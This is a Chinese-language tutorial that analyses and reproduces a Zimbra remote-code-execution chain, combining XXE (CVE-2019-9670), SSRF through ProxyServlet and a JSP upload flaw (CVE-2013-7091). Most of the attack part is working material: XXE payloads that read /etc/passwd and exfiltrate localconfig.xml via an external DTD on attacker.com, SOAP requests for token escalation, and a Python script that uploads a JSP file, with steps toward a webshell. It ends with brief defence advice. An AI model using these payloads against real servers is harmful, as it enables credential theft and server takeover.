《A Saga of Code Executions on Zimbra》RCE分析+复现过程
字数 1499 2025-08-29 08:32:09
Zimbra RCE漏洞分析与复现指南
1. Zimbra简介
Zimbra是一款开源的协同办公套件,提供WebMail、日历、通信录、Web文档管理和创作等功能。其特色在于采用Ajax技术模仿CS桌面应用软件风格开发的客户端,兼容Firefox、Safari和IE浏览器。
2. 漏洞概述
本教学文档将详细分析Zimbra系统中的多个安全漏洞,包括:
- XXE漏洞(CVE-2019-9670)
- SSRF漏洞
- 文件上传漏洞(CVE-2013-7091)
这些漏洞可组合利用,最终实现远程代码执行(RCE)。
3. 环境准备
3.1 下载Zimbra
从官方地址下载Zimbra 8.6.0开源版:
https://www.zimbra.com/downloads/zimbra-collaboration-open-source/
3.2 解压核心库
# 需要先安装rpm2cpio
rpm2cpio zimbra-core-8.6.0_GA_1153.RHEL6_64-20141215151155.x86_64.rpm | cpio -div
4. XXE漏洞利用(CVE-2019-9670)
4.1 漏洞定位
通过查找Autodiscover相关类:
find . -name "*.jar"|awk '{print "jar -tvf "$1}' | sh -x | grep -i Autodiscover
确认com/zimbra/cs/service/AutoDiscoverServlet.class是目标类。
4.2 漏洞分析
AutoDiscoverServlet处理POST请求时:
- 读取请求内容并解析为XML文档
- 查找Request标签中的EMailAddress和AcceptableResponseSchema
- 如果AcceptableResponseSchema不符合预期,会将其内容返回给用户
4.3 漏洞利用
构造恶意XML读取本地文件:
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&xxe;</AcceptableResponseSchema>
</Request>
</Autodiscover>
4.4 读取配置文件
由于localconfig.xml是XML格式,需要使用外部DTD和CDATA:
<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://attacker.com/dtd">
%dtd;
%all;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>
外部DTD内容:
<!ENTITY % file SYSTEM "file:../conf/localconfig.xml">
<!ENTITY % start "<![CDATA[">
<!ENTITY % end "]]>">
<!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">
5. SSRF漏洞利用
5.1 获取低权限Token
通过SOAP接口发送AuthRequest:
<soap:Envelope xmlns:soap="http://www.w3.org/2003/05/soap-envelope">
<soap:Header>
<context xmlns="urn:zimbra">
<userAgent name="ZimbraWebClient - SAF3 (Win)" version="5.0.15_GA_2851.RHEL5_64"/>
</context>
</soap:Header>
<soap:Body>
<AuthRequest xmlns="urn:zimbraAccount">
<account by="adminName">zimbra</account>
<password>xxxx</password>
</AuthRequest>
</soap:Body>
</soap:Envelope>
5.2 利用ProxyServlet进行SSRF
通过ProxyServlet访问管理端口(7071):
https://target.com/service/proxy?target=https://127.0.0.1:7071/service/admin/soap
关键点:
- 设置Host头为
foo:7071 - Cookie中使用低权限Token:
ZM_ADMIN_AUTH_TOKEN=admin_token - 发送相同的SOAP请求,但AuthRequest的xmlns改为
urn:zimbraAdmin
6. 文件上传漏洞(CVE-2013-7091)
6.1 利用clientUploader上传文件
使用Python requests库上传JSP文件:
import requests
f = {
'filename1':(None,"justatest.jsp",None),
'clientFile':("justatest123.jsp",r'<%out.println("justatest");%>',"text/plain"),
'requestId':(None,"12",None),
}
headers = {
"Cookie":"ZM_ADMIN_AUTH_TOKEN=admin_token",
"Host":"foo:7071"
}
r = requests.post("https://target.com/service/extension/clientUploader/upload",
files=f, headers=headers, verify=False)
print(r.text)
7. 漏洞组合利用流程
- 利用XXE漏洞读取localconfig.xml获取管理员凭证
- 使用管理员凭证获取低权限Token
- 通过SSRF漏洞利用低权限Token获取高权限Token
- 使用高权限Token通过文件上传漏洞上传WebShell
- 访问上传的WebShell实现RCE
8. 防御建议
- 禁用XML外部实体解析
- 对ProxyServlet进行严格的访问控制
- 限制文件上传功能,验证文件内容和类型
- 及时更新Zimbra到最新版本
- 实施最小权限原则,限制管理接口的访问
9. 参考资源
- 原文地址: https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html
- Zimbra官方文档: https://wiki.zimbra.com/
- SOAP API参考: https://files.zimbra.com/docs/soap_api/8.0.4/soap-docs-804/api-reference/index.html
- XXE OOB技术: https://www.acunetix.com/blog/articles/band-xml-external-entity-oob-xxe/